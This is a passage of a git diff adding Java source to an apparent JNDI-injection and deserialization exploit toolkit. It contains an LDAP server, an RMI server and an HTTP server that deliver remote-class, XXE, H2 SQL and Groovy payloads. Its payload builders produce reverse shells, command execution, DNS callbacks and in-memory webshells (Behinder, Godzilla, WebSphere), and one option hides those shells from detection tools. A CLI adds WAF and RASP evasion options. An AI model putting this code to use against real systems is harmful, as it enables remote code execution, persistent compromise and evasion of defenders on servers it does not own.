+ + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + ""; + + if (xmlName.equals("a")) { + System.out.println(ansi().render("@|green [+] Response Code: |@" + 200)); + + + exchange.sendResponseHeaders(200, bytes.getBytes().length + 1); + exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8)); + } else if (xmlName.equals("x")) { + System.out.println(ansi().render("@|green [+] Response Code: |@" + 200)); + exchange.getResponseHeaders().add("Content-Type", "application/xml; charset=utf-8"); + exchange.sendResponseHeaders(200, xstream.getBytes().length + 1); + exchange.getResponseBody().write(xstream.getBytes(StandardCharsets.UTF_8)); + + } else { + String pa = cwd + File.separator + "data"; + File file = new File(pa + File.separator + xmlName + ".xml"); + + if (file.exists()) { + byte[] bytes1 = new byte[(int) file.length()]; + try (FileInputStream fileInputStream = new FileInputStream(file)) { + fileInputStream.read(bytes1); + } + exchange.getResponseHeaders().add("Content-Type", "application/xml; charset=utf-8"); +// exchange.getResponseHeaders().set("Content-type","application/octet-stream"); + exchange.sendResponseHeaders(200, file.length() + 1); + exchange.getResponseBody().write(bytes1); + } else { + System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); + exchange.sendResponseHeaders(404, 0); + } + + } + exchange.close(); + + } + + public static void handleSQLRequest(HttpExchange exchange) throws IOException { + String path = exchange.getRequestURI().getPath(); + String host = exchange.getRequestURI().getHost(); + String sqlName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf(".")); + + if (sqlName.equalsIgnoreCase("echo")) { + System.out.println(ansi().render("@|green [+] Response Code: |@" + 200)); + + String name = String.valueOf(System.nanoTime()); + String bytes = "CREATE ALIAS " + name + " AS CONCAT('void ex()throws Exception" + + "{Object o = com.sun.rowset.JdbcRowSetImpl();',' o.setDataSourceName(\"ldap://" + host + ":1389/TomcatBypass/TomcatEcho\");',' 'o.setAutoCommit(\"true\");,'}');" + + "CALL " + name + "();\"}"; + exchange.sendResponseHeaders(200, bytes.getBytes().length + 1); + exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8)); + } else if (sqlName.equalsIgnoreCase("inject")) { + System.out.println("@|green Response Code: |@" + 200); + + String name = String.valueOf(System.nanoTime()); + String bytes = "CREATE ALIAS " + name + " AS CONCAT('void ex()throws Exception" + + "{Object o = com.sun.rowset.JdbcRowSetImpl();',' o.setDataSourceName(\"ldap:// + host + :1389/inject.class\");',' 'o.setAutoCommit(\"true\");,'}');" + + "CALL " + name + "();\"}"; + exchange.sendResponseHeaders(200, bytes.getBytes().length + 1); + exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8)); + + } else { + + String pa = cwd + File.separator + "data"; + File file = new File(pa + File.separator + sqlName + ".sql"); + + if (file.exists()) { + byte[] bytes = new byte[(int) file.length()]; + try (FileInputStream fileInputStream = new FileInputStream(file)) { + fileInputStream.read(bytes); + } +// exchange.getResponseHeaders().set("Content-type","application/octet-stream"); + exchange.sendResponseHeaders(200, file.length() + 1); + exchange.getResponseBody().write(bytes); + } else { + System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); + exchange.sendResponseHeaders(404, 0); + } + } + exchange.close(); + } + + public static void handlerGroovyRequest(HttpExchange exchange) throws IOException { + String path = exchange.getRequestURI().getPath(); + String host = exchange.getRequestURI().getHost(); + String exp = "/TomcatBypass/TomcatEcho"; + String groovyName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf(".")); + + if (groovyName.equalsIgnoreCase("groovyecho")) { + System.out.println(ansi().render("@|green [+] Response Code: |@" + 200)); + + String bytes = "class demo {\n" + + " static void main(){\n" + + " com.sun.rowset.JdbcRowSetImpl o = new com.sun.rowset.JdbcRowSetImpl();\n" + + " o.setDataSourceName(\"ldap://" + host + ":1389" + exp + "\");\n" + + " o.setAutoCommit(true);\n" + + " }\n" + + "}\n"; + + exchange.sendResponseHeaders(200, bytes.getBytes().length + 1); + exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8)); + + } else { + String pa = cwd + File.separator + "data"; + File file = new File(pa + File.separator + groovyName + ".groovy"); + + if (file.exists()) { + byte[] bytes = new byte[(int) file.length()]; + try (FileInputStream fileInputStream = new FileInputStream(file)) { + fileInputStream.read(bytes); + } +// exchange.getResponseHeaders().set("Content-type","application/octet-stream"); + exchange.sendResponseHeaders(200, file.length() + 1); + exchange.getResponseBody().write(bytes); + } else { + System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); + exchange.sendResponseHeaders(404, 0); + } + + } + exchange.close(); + + } + + public static void handleXXELogRequest(HttpExchange exchange) throws IllegalAccessException, IOException { + Object exchangeImpl = FieldUtils.readField(exchange, "impl", true); + Object request = FieldUtils.readField(exchangeImpl, "req", true); + String startLine = (String) FieldUtils.readField(request, "startLine", true); + + System.out.println(ansi().render("@|green [+] XXE Attack Result: |@" + startLine)); + exchange.sendResponseHeaders(200, 0); + exchange.close(); + } + + private static void handleJarRequest(HttpExchange exchange) throws IOException { + String path = exchange.getRequestURI().getPath(); + String jarName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf(".")); + + if (jarName.equalsIgnoreCase("behinder3")) { + byte[] bytes; + String filename = cwd + File.separator + "data" + File.separator + "behinder3.jar"; + FileReader fileReader = new FileReader(filename, "UTF-8"); + bytes = fileReader.readBytes(); + exchange.sendResponseHeaders(200, bytes.length + 1); + exchange.getResponseBody().write(bytes); + } else { + + String filename = cwd + File.separator + "data" + File.separator + jarName + ".jar"; + File file = new File(filename); + if (file.exists()) { + byte[] bytes; + FileReader fileReader = new FileReader(filename, "UTF-8"); + bytes = fileReader.readBytes(); + exchange.sendResponseHeaders(200, bytes.length + 1); + exchange.getResponseBody().write(bytes); + } else { + System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); + exchange.sendResponseHeaders(404, 0); + } + + } + exchange.close(); + + + } + + private static void handleClassRequest(HttpExchange exchange) throws IOException { + String path = exchange.getRequestURI().getPath(); + String className = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf(".")); + System.out.println(ansi().render("@|green [+] Receive ClassRequest: |@" + className + ".class")); + + //先从Cache中加载 + if (Cache.contains(className)) { + System.out.println(ansi().render("@|green [+] Response Code: |@" + 200)); + + byte[] bytes = Cache.get(className); + exchange.sendResponseHeaders(200, bytes.length); + //这一步返回http请求 + exchange.getResponseBody().write(bytes); + } else {//找不到就从/org目录下照 + //String pa = cwd + File.separator + "org"; + String pa = cwd + path; + File file = new File(pa); + + if (file.exists()) { + byte[] bytes = new byte[(int) file.length()]; + try (FileInputStream fileInputStream = new FileInputStream(file)) { + fileInputStream.read(bytes); + } + exchange.getResponseHeaders().set("Content-type", "application/octet-stream"); + exchange.sendResponseHeaders(200, file.length() + 1); + exchange.getResponseBody().write(bytes); + System.out.println(ansi().render("@|green [+] 内存马远程类加载成功 |@" + 200)); + } else { + System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); + exchange.sendResponseHeaders(404, 0); + } + } + exchange.close(); + } + + private static void handleWSDLRequest(HttpExchange exchange) throws Exception { + String query = exchange.getRequestURI().getQuery(); + Map params = parseQuery(query); + + String path = exchange.getRequestURI().getPath().substring(1); + + if (path.startsWith("list")) { + //intended to list directories or read files on server + String file = params.get("file"); + if (file != null && !file.isEmpty()) { + String listWsdl = "" + + "\n" + + " \n" + + " %bbb;\n" + + "]>\n" + + "\n" + + " &ddd;\n" + + ""; + + System.out.println(ansi().render("@|green [+] Response Code: |@" + 200)); + exchange.sendResponseHeaders(200, listWsdl.getBytes().length); + exchange.getResponseBody().write(listWsdl.getBytes()); + } else { + System.out.println(ansi().render("@|red [!] Missing or wrong argument|@")); + System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); + exchange.sendResponseHeaders(404, 0); + } + exchange.close(); + + } else if (path.startsWith("upload")) { + String type = params.get("type"); + + String[] args = null; + if (type.equalsIgnoreCase("command")) { + args = new String[]{params.get("cmd")}; + } else if (type.equalsIgnoreCase("dnslog")) { + args = new String[]{params.get("url")}; + } else if (type.equalsIgnoreCase("reverseshell")) { + args = new String[]{params.get("ip"), params.get("port")}; + } + + String jarName = createJar(type, args); + if (jarName != null) { + String uploadWsdl = ""; + + System.out.println(ansi().render("@|green [+] Response Code: |@" + 200)); + exchange.sendResponseHeaders(200, uploadWsdl.getBytes().length); + exchange.getResponseBody().write(uploadWsdl.getBytes()); + } else { + System.out.println(ansi().render("@|red [!] Missing or wrong argument|@")); + System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); + exchange.sendResponseHeaders(404, 0); + } + exchange.close(); + } else if (path.startsWith("http")) { + String xxhttp = "'>'>%ccc;"; + System.out.println(ansi().render("@|green [+] Response Code: |@" + 200)); + exchange.sendResponseHeaders(200, xxhttp.getBytes().length); + exchange.getResponseBody().write(xxhttp.getBytes()); + exchange.close(); + } else { + System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); + exchange.sendResponseHeaders(404, 0); + exchange.close(); + } + } + + private static Map parseQuery(String query) { + Map params = new HashMap<>(); + + try { + for (String str : query.split("&")) { + try { + String[] parts = str.split("=", 2); + params.put(parts[0], parts[1]); + } catch (Exception e) { + //continue + } + } + } catch (Exception e) { + //continue + } + + return params; + } + + /* + 由于我本地安装的 Websphere 在加载本地 classpath 这一步复现不成功 + 这里不确定 websphere 这种方式在多次操作时 Class 文件名相同时是否会存在问题 + 目前暂时认为其不会有问题,如果有问题,后面再修改 + */ + private static String createJar(String type, String... params) throws Exception { + byte[] bytes; + String className = "xExportObject"; + + switch (type.toLowerCase()) { + case "command": + CommandTemplate commandTemplate = new CommandTemplate(params[0], "xExportObject"); + bytes = commandTemplate.getBytes(); + break; + case "dnslog": + DnslogTemplate dnslogTemplate = new DnslogTemplate(params[0], "xExportObject"); + bytes = dnslogTemplate.getBytes(); + break; + case "reverseshell": + ReverseShellTemplate reverseShellTemplate = new ReverseShellTemplate(params[0], params[1], "xExportObject"); + bytes = reverseShellTemplate.getBytes(); + break; + case "webspherememshell": + ClassPool classPool = ClassPool.getDefault(); + CtClass exploitClass = classPool.get("com.feihong.ldap.template.WebsphereMemshellTemplate"); + exploitClass.setName(className); + exploitClass.detach(); + bytes = exploitClass.toBytecode(); + break; + default: + return null; + } + + System.out.println(ansi().render("@|green [+] Name of Class in Jar: |@" + className)); + ByteArrayOutputStream bout = new ByteArrayOutputStream(); + JarOutputStream jarOut = new JarOutputStream(bout); + jarOut.putNextEntry(new ZipEntry(className + ".class")); + jarOut.write(bytes); + jarOut.closeEntry(); + jarOut.close(); + bout.close(); + + String jarName = Util.getRandomString(); + Cache.set(jarName, bout.toByteArray()); + + return jarName; + } +} \ No newline at end of file diff --git a/src/main/java/com/qi4l/jndi/LdapServer.java b/src/main/java/com/qi4l/jndi/LdapServer.java new file mode 100644 index 00000000..cff67761 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/LdapServer.java @@ -0,0 +1,128 @@ +package com.qi4l.jndi; + +import com.qi4l.jndi.controllers.LdapController; +import com.qi4l.jndi.controllers.LdapMapping; +import com.qi4l.jndi.controllers.utils.AESUtils; +import com.qi4l.jndi.gadgets.Config.Config; +import com.unboundid.ldap.listener.InMemoryDirectoryServer; +import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; +import com.unboundid.ldap.listener.InMemoryListenerConfig; +import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; +import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; +import org.reflections.Reflections; + +import javax.net.ServerSocketFactory; +import javax.net.SocketFactory; +import javax.net.ssl.SSLSocketFactory; +import java.lang.reflect.Constructor; +import java.net.InetAddress; +import java.util.Set; +import java.util.TreeMap; + +import static com.qi4l.jndi.gadgets.Config.Config.*; +import static com.qi4l.jndi.gadgets.utils.Utils.base64Decode; +import static org.fusesource.jansi.Ansi.ansi; + + +public class LdapServer extends InMemoryOperationInterceptor { + + public static TreeMap routes = new TreeMap<>(); + + public static void start() { + try { + InMemoryDirectoryServerConfig serverConfig = new InMemoryDirectoryServerConfig("dc=example,dc=com"); + serverConfig.setListenerConfigs(new InMemoryListenerConfig( + "listen", + InetAddress.getByName("0.0.0.0"), + Config.ldapPort, + ServerSocketFactory.getDefault(), + SocketFactory.getDefault(), + (SSLSocketFactory) SSLSocketFactory.getDefault())); + if (!USER.equals("")||!PASSWD.equals("")) { + serverConfig.addAdditionalBindCredentials(USER,PASSWD); + } + + //添加操作拦截器 + //将提供的操作拦截器添加到操作拦截器列表中,该列表可用于在请求被内存目录服务器处理之前转换请求,和/或在响应返回给客户端之前转换响应。 + serverConfig.addInMemoryOperationInterceptor(new LdapServer()); + InMemoryDirectoryServer ds = new InMemoryDirectoryServer(serverConfig); + ds.startListening(); + System.out.println(ansi().render("@|green [+]|@ LDAP Server Start Listening on >>" + Config.ldapPort + "...")); + } catch (Exception e) { + e.printStackTrace(); + } + } + + public LdapServer() throws Exception { + + //find all classes annotated with @LdapMapping + Set> controllers = new Reflections(this.getClass().getPackage().getName()) + .getTypesAnnotatedWith(LdapMapping.class); + + //instantiate them and store in the routes map + for (Class controller : controllers) { + Constructor cons = controller.getConstructor(); + LdapController instance = (LdapController) cons.newInstance(); + String[] mappings = controller.getAnnotation(LdapMapping.class).uri(); + for (String mapping : mappings) { + if (mapping.startsWith("/")) { + mapping = mapping.substring(1); //remove first forward slash + routes.put(mapping, instance); + } + } + } + } + + /** + * {@inheritDoc} + * + * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult) + * 关键在这个类里进行了处理 + * 官方说明:在提供的搜索结果返回给客户端之前,调用应该对其执行的任何处理。 + */ + @Override + public void processSearchResult(InMemoryInterceptedSearchResult result) { + String base; + if (!ROUTE.equals("")) { + base = ROUTE; + } else { + base = result.getRequest().getBaseDN(); + } + try { + if (!AESkey.equals("123")) { + base = base64Decode(base); + base = AESUtils.decrypt(base, AESkey); + } + } catch (Exception AESerr) { + + } + + //收到ldap请求 + System.out.println("\n"); + System.out.println(ansi().render("@|green [+]|@ Received LDAP Query >> " + base)); + LdapController controller = null; + //find controller + //根据请求的路径从route中匹配相应的controller + for (String key : routes.keySet()) { + //compare using wildcard at the end + if (base.toLowerCase().startsWith(key)) { + controller = routes.get(key); + break; + } + } + + + if (controller == null) { + System.out.println(ansi().render("@|red [!] Invalid LDAP Query >> |@" + base)); + return; + } + + try { + //从控制器中进行返回 + controller.process(base); + controller.sendResult(result, base); + } catch (Exception e1) { + System.out.println(ansi().render("@|red [!] Exception >> |@" + e1.getMessage())); + } + } +} \ No newline at end of file diff --git a/src/main/java/com/qi4l/jndi/RMIServer.java b/src/main/java/com/qi4l/jndi/RMIServer.java new file mode 100644 index 00000000..33bc38c6 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/RMIServer.java @@ -0,0 +1,326 @@ +package com.qi4l.jndi; + + +import com.qi4l.jndi.gadgets.Config.Config; +import com.qi4l.jndi.gadgets.utils.Reflections; +import com.sun.jndi.rmi.registry.ReferenceWrapper; +import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; +import org.apache.naming.ResourceRef; +import sun.rmi.server.UnicastServerRef; +import sun.rmi.transport.TransportConstants; + +import javax.naming.Reference; +import javax.naming.StringRefAddr; +import javax.net.ServerSocketFactory; +import java.io.*; +import java.lang.reflect.Field; +import java.net.*; +import java.rmi.MarshalException; +import java.rmi.server.ObjID; +import java.rmi.server.RemoteObject; +import java.rmi.server.UID; +import java.util.Arrays; + +import static org.fusesource.jansi.Ansi.ansi; + + +/** + * Generic JRMP listener + *

+ * JRMP Listener that will respond to RMI lookups with a Reference that specifies a remote object factory. + *

+ * This technique was mitigated against by no longer allowing remote codebases in references by default in Java 8u121. + * + * @author mbechler + */ +@SuppressWarnings({ + "restriction" +}) +public class RMIServer extends InMemoryOperationInterceptor implements Runnable { + + private final ServerSocket ss; + private final Object waitLock = new Object(); + private boolean exit; + private final URL classpathUrl; + + + public RMIServer(int port, URL classpathUrl) throws IOException { + this.classpathUrl = classpathUrl; + this.ss = ServerSocketFactory.getDefault().createServerSocket(port); + } + + + /** + * + */ + public void close() { + this.exit = true; + try { + this.ss.close(); + } catch (IOException ignored) { + } + synchronized (this.waitLock) { + this.waitLock.notify(); + } + } + + + public static void start() { + String url = "http://" + Config.ip + ":" + Config.rmiPort; + + try { + System.out.println(ansi().render("@|green [+]|@ RMI Server Start Listening on >>" + Config.rmiPort + "...")); + RMIServer c = new RMIServer(Config.rmiPort, new URL(url)); + c.run(); + } catch (Exception e) { + System.err.println("Listener error"); + e.printStackTrace(System.err); + } + } + + + @Override + public void run() { + try { + Socket s = null; + try { + while (!this.exit && (s = this.ss.accept()) != null) { + try { + s.setSoTimeout(5000); + InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress(); + System.err.println("[+] Have connection from " + remote); + + InputStream is = s.getInputStream(); + InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is); + + // Read magic (or HTTP wrapper) + bufIn.mark(4); + try (DataInputStream in = new DataInputStream(bufIn)) { + int magic = in.readInt(); + + short version = in.readShort(); + if (magic != TransportConstants.Magic || version != TransportConstants.Version) { + s.close(); + continue; + } + + OutputStream sockOut = s.getOutputStream(); + BufferedOutputStream bufOut = new BufferedOutputStream(sockOut); + try (DataOutputStream out = new DataOutputStream(bufOut)) { + + byte protocol = in.readByte(); + switch (protocol) { + case TransportConstants.StreamProtocol: + out.writeByte(TransportConstants.ProtocolAck); + if (remote.getHostName() != null) { + out.writeUTF(remote.getHostName()); + } else { + out.writeUTF(remote.getAddress().toString()); + } + out.writeInt(remote.getPort()); + out.flush(); + in.readUTF(); + in.readInt(); + case TransportConstants.SingleOpProtocol: + doMessage(s, in, out); + break; + default: + case TransportConstants.MultiplexProtocol: + System.err.println("Unsupported protocol"); + s.close(); + continue; + } + + bufOut.flush(); + out.flush(); + } + } + } catch (InterruptedException e) { + return; + } catch (Exception e) { + e.printStackTrace(System.err); + } finally { + System.err.println("Closing connection"); + s.close(); + } + + } + + } finally { + if (s != null) { + s.close(); + } + if (this.ss != null) { + this.ss.close(); + } + } + + } catch (SocketException ignored) { + } catch (Exception e) { + e.printStackTrace(System.err); + } + } + + private void doMessage(Socket s, DataInputStream in, DataOutputStream out) throws Exception { + System.err.println(" RMI 服务器 >> 正在读取信息"); + + int op = in.read(); + + switch (op) { + case TransportConstants.Call: + // service incoming RMI call + doCall(in, out); + break; + + case TransportConstants.Ping: + // send ack for ping + out.writeByte(TransportConstants.PingAck); + break; + + case TransportConstants.DGCAck: + UID.read(in); + break; + + default: + throw new IOException(" RMI 服务器 >> 无法识别:" + op); + } + + s.close(); + } + + private void doCall(DataInputStream in, DataOutputStream out) throws Exception { + ObjectInputStream ois = new ObjectInputStream(in) { + + @Override + protected Class resolveClass(ObjectStreamClass desc) throws IOException { + if ("[Ljava.rmi.server.ObjID;".equals(desc.getName())) { + return ObjID[].class; + } else if ("java.rmi.server.ObjID".equals(desc.getName())) { + return ObjID.class; + } else if ("java.rmi.server.UID".equals(desc.getName())) { + return UID.class; + } else if ("java.lang.String".equals(desc.getName())) { + return String.class; + } + throw new IOException(" RMI 服务器 >> 无法读取 Object"); + } + }; + + ObjID read; + try { + read = ObjID.read(ois); + } catch (java.io.IOException e) { + throw new MarshalException(" RMI 服务器 >> 无法读取 ObjID", e); + } + + if (read.hashCode() == 2) { + // DGC + handleDGC(ois); + } else if (read.hashCode() == 0) { + if (handleRMI(ois, out)) { + synchronized (this.waitLock) { + this.waitLock.notifyAll(); + } + } + } + + } + + private boolean handleRMI(ObjectInputStream ois, DataOutputStream out) throws Exception { + int method = ois.readInt(); // method + ois.readLong(); // hash + + if (method != 2) { // lookup + return false; + } + + String object = (String) ois.readObject(); + System.out.println(ansi().render("@|green [+]|@RMI 服务器 >> RMI 查询" + object + " " + method)); + out.writeByte(TransportConstants.Return); // transport op + try (ObjectOutputStream oos = new MarshalOutputStream(out, this.classpathUrl)) { + + oos.writeByte(TransportConstants.NormalReturn); + new UID().write(oos); + + //反射调用的类名 + ReferenceWrapper rw = Reflections.createWithoutConstructor(ReferenceWrapper.class); + + if (object.startsWith("Bypass")) { + System.out.println(ansi().render("@|green [+]|@RMI 服务器 >> 发送本地类加载引用")); + Reflections.setFieldValue(rw, "wrappee", execByEL()); + } else { + System.out.println(ansi().render("@|green [+]|@RMI 服务器 >> 向目标发送 stub >> %s", new URL(this.classpathUrl, this.classpathUrl.getRef().replace('.', '/').concat(".class")))); + Reflections.setFieldValue(rw, "wrappee", new Reference("Foo", this.classpathUrl.getRef(), this.classpathUrl.toString())); + } + + Field refF = RemoteObject.class.getDeclaredField("ref"); + refF.setAccessible(true); + refF.set(rw, new UnicastServerRef(12345)); + + oos.writeObject(rw); + + oos.flush(); + out.flush(); + } + return true; + } + + public static ResourceRef execByEL() { + + ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); + ref.add(new StringRefAddr("forceString", "x=eval")); + ref.add(new StringRefAddr("x", String.format( + "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(" + + "\"java.lang.Runtime.getRuntime().exec('%s')\"" + + ")", + Config.command + ))); + + return ref; + } + + private static void handleDGC(ObjectInputStream ois) throws IOException, ClassNotFoundException { + ois.readInt(); // method + ois.readLong(); // hash + System.err.println("Is DGC call for " + Arrays.toString((ObjID[]) ois.readObject())); + } + + + static final class MarshalOutputStream extends ObjectOutputStream { + + private final URL sendUrl; + + + public MarshalOutputStream(OutputStream out, URL u) throws IOException { + super(out); + this.sendUrl = u; + } + + + @Override + protected void annotateClass(Class cl) throws IOException { + if (this.sendUrl != null) { + writeObject(this.sendUrl.toString()); + } else if (!(cl.getClassLoader() instanceof URLClassLoader)) { + writeObject(null); + } else { + URL[] us = ((URLClassLoader) cl.getClassLoader()).getURLs(); + StringBuilder cb = new StringBuilder(); + + for (URL u : us) { + cb.append(u.toString()); + } + writeObject(cb.toString()); + } + } + + + /** + * Serializes a location from which to load the specified class. + */ + @Override + protected void annotateProxyClass(Class cl) throws IOException { + annotateClass(cl); + } + } +} diff --git a/src/main/java/com/qi4l/jndi/Starter.java b/src/main/java/com/qi4l/jndi/Starter.java new file mode 100644 index 00000000..3d3a8028 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/Starter.java @@ -0,0 +1,238 @@ +package com.qi4l.jndi; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.Config.Config; +import com.qi4l.jndi.gadgets.ObjectPayload; +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Serializer; +import com.qi4l.jndi.gadgets.utils.Strings; +import com.qi4l.jndi.gadgets.utils.dirty.DirtyDataWrapper; +import org.apache.commons.cli.*; + + +import java.io.FileOutputStream; +import java.io.OutputStream; +import java.util.*; + +import static com.qi4l.jndi.gadgets.utils.HexUtils.generatePassword; +import static com.qi4l.jndi.gadgets.utils.Strings.isFromExploit; + +public class Starter { + + public static CommandLine cmdLine; + + public static String JYsoMode = "qi4L"; + + public static Object PAYLOAD = null; + + public static void main(String[] args) throws Exception { + if (args.length > 0 && args[0].equals("--jndi")) { + Config.applyCmdArgs(args); + LdapServer.start(); + HTTPServer.start(); + RMIServer.start(); + } + if (args.length > 0 && args[0].equals("-yso")) { + JYsoMode = "yso"; + Options options = new Options(); + options.addOption("yso", "ysoserial", true, "Java deserialization"); + options.addOption("g", "gadget", true, "Java deserialization gadget"); + options.addOption("p", "parameters", true, "Gadget parameters"); + options.addOption("dt", "dirty-type", true, "Using dirty data to bypass WAF,type: 1:Random Hashable Collections/2:LinkedList Nesting/3:TC_RESET in Serialized Data"); + options.addOption("dl", "dirty-length", true, "Length of dirty data when using type 1 or 3/Counts of Nesting loops when using type 2"); + options.addOption("f", "file", true, "Write Output into FileOutputStream (Specified FileName)"); + options.addOption("o", "obscure", false, "Using reflection to bypass RASP"); + options.addOption("i", "inherit", false, "Make payload inherit AbstractTranslet or not (Lower JDK like 1.6 should inherit)"); + options.addOption("u", "url", true, "MemoryShell binding url pattern,default [/version.txt]"); + options.addOption("pw", "password", true, "Behinder or Godzilla password,default [p@ssw0rd]"); + options.addOption("gzk", "godzilla-key", true, "Godzilla key,default [key]"); + options.addOption("hk", "header-key", true, "MemoryShell Header Check,Request Header Key,default [Referer]"); + options.addOption("hv", "header-value", true, "MemoryShell Header Check,Request Header Value,default [https://nu1r.cn/]"); + options.addOption("ch", "cmd-header", true, "Request Header which pass the command to Execute,default [X-Token-Data]"); + options.addOption("gen", "gen-mem-shell", false, "Write Memory Shell Class to File"); + options.addOption("n", "gen-mem-shell-name", true, "Memory Shell Class File Name"); + options.addOption("h", "hide-mem-shell", false, "Hide memory shell from detection tools (type 2 only support SpringControllerMS)"); + options.addOption("ht", "hide-type", true, "Hide memory shell,type 1:write /jre/lib/charsets.jar 2:write /jre/classes/"); + options.addOption("rh", "rhino", false, "ScriptEngineManager Using Rhino Engine to eval JS"); + options.addOption("ncs", "no-com-sun", false, "Force Using org.apache.XXX.TemplatesImpl instead of com.sun.org.apache.XXX.TemplatesImpl"); + options.addOption("mcl", "mozilla-class-loader", false, "Using org.mozilla.javascript.DefiningClassLoader in TransformerUtil"); + options.addOption("dcfp", "define-class-from-parameter", true, "Customize parameter name when using DefineClassFromParameter"); + + CommandLineParser parser = new DefaultParser(); + + if (args.length == 0) { + printUsage(options); + System.exit(1); + } + + try { + cmdLine = parser.parse(options, args); + } catch (Exception e) { + System.out.println("[*] Parameter input error, please use -h for more information"); + printUsage(options); + System.exit(1); + } + + if (cmdLine.hasOption("inherit")) { + Config.IS_INHERIT_ABSTRACT_TRANSLET = true; + } + + if (cmdLine.hasOption("obscure")) { + Config.IS_OBSCURE = true; + } + + if (cmdLine.hasOption("cmd-header")) { + Config.CMD_HEADER_STRING = cmdLine.getOptionValue("cmd-header"); + } + + if (cmdLine.hasOption("url")) { + String url = cmdLine.getOptionValue("url"); + if (!url.startsWith("/")) { + url = "/" + url; + } + Config.URL_PATTERN = url; + } + + if (cmdLine.hasOption("define-class-from-parameter")) { + Config.PARAMETER = cmdLine.getOptionValue("define-class-from-parameter"); + } + + if (cmdLine.hasOption("file")) { + Config.WRITE_FILE = true; + Config.FILE = cmdLine.getOptionValue("file"); + } + + if (cmdLine.hasOption("password")) { + Config.PASSWORD_ORI = cmdLine.getOptionValue("password"); + Config.PASSWORD = generatePassword(Config.PASSWORD_ORI); + } + + if (cmdLine.hasOption("godzilla-key")) { + Config.GODZILLA_KEY = generatePassword(cmdLine.getOptionValue("godzilla-key")); + } + + if (cmdLine.hasOption("header-key")) { + Config.HEADER_KEY = cmdLine.getOptionValue("header-key"); + } + + if (cmdLine.hasOption("header-value")) { + Config.HEADER_VALUE = cmdLine.getOptionValue("header-value"); + } + + if (cmdLine.hasOption("no-com-sun")) { + Config.FORCE_USING_ORG_APACHE_TEMPLATESIMPL = true; + } + + if (cmdLine.hasOption("mozilla-class-loader")) { + Config.USING_MOZILLA_DEFININGCLASSLOADER = true; + } + + if (cmdLine.hasOption("rhino")) { + Config.USING_RHINO = true; + } + + if (cmdLine.hasOption("gen-mem-shell")) { + Config.GEN_MEM_SHELL = true; + + if (cmdLine.hasOption("gen-mem-shell-name")) { + Config.GEN_MEM_SHELL_FILENAME = cmdLine.getOptionValue("gen-mem-shell-name"); + } + } + + if (cmdLine.hasOption("hide-mem-shell")) { + Config.HIDE_MEMORY_SHELL = true; + + if (cmdLine.hasOption("hide-type")) { + Config.HIDE_MEMORY_SHELL_TYPE = Integer.parseInt(cmdLine.getOptionValue("hide-type")); + } + } + + final String payloadType = cmdLine.getOptionValue("gadget"); + final String command = cmdLine.getOptionValue("parameters"); + + final Class payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType); + if (payloadClass == null) { + System.err.println("Invalid payload type '" + payloadType + "'"); + printUsage(options); + System.exit(1); + return; + } + + + try { + ObjectPayload payload = payloadClass.newInstance(); + Object object = payload.getObject(PayloadType.command, command); + + // 是否指定混淆 + if (cmdLine.hasOption("dirty-type") && cmdLine.hasOption("dirty-length")) { + int type = Integer.parseInt(cmdLine.getOptionValue("dirty-type")); + int length = Integer.parseInt(cmdLine.getOptionValue("dirty-length")); + object = new DirtyDataWrapper(object, type, length).doWrap(); + } + + // 储存生成的 payload + PAYLOAD = object; + if (isFromExploit()) { + return; + } + + OutputStream out; + + if (Config.WRITE_FILE) { + out = new FileOutputStream(Config.FILE); + } else { + out = System.out; + } + Serializer.qiserialize(object, out); + ObjectPayload.Utils.releasePayload(payload, object); + + out.flush(); + out.close(); + } catch (Throwable e) { + System.err.println("Error while generating or serializing payload"); + e.printStackTrace(); + System.exit(1); + } + System.exit(0); + } + } + + private static void printUsage(Options options) { + + System.err.println("[root]#~ Usage: java -jar JNDIExploit-[version].jar -yso -g [payload] -p [command] [options]"); + System.err.println("[root]#~ Available payload types:"); + + final List> payloadClasses = + new ArrayList>(ObjectPayload.Utils.getPayloadClasses()); + Collections.sort(payloadClasses, new Strings.ToStringComparator()); // alphabetize + + final List rows = new LinkedList(); + rows.add(new String[]{"Payload", "Authors", "Dependencies"}); + rows.add(new String[]{"-------", "-------", "------------"}); + for (Class payloadClass : payloadClasses) { + rows.add(new String[]{ + payloadClass.getSimpleName(), + Strings.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""), + Strings.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)), ", ", "", "") + }); + } + + final List lines = Strings.formatTable(rows); + + for (String line : lines) { + 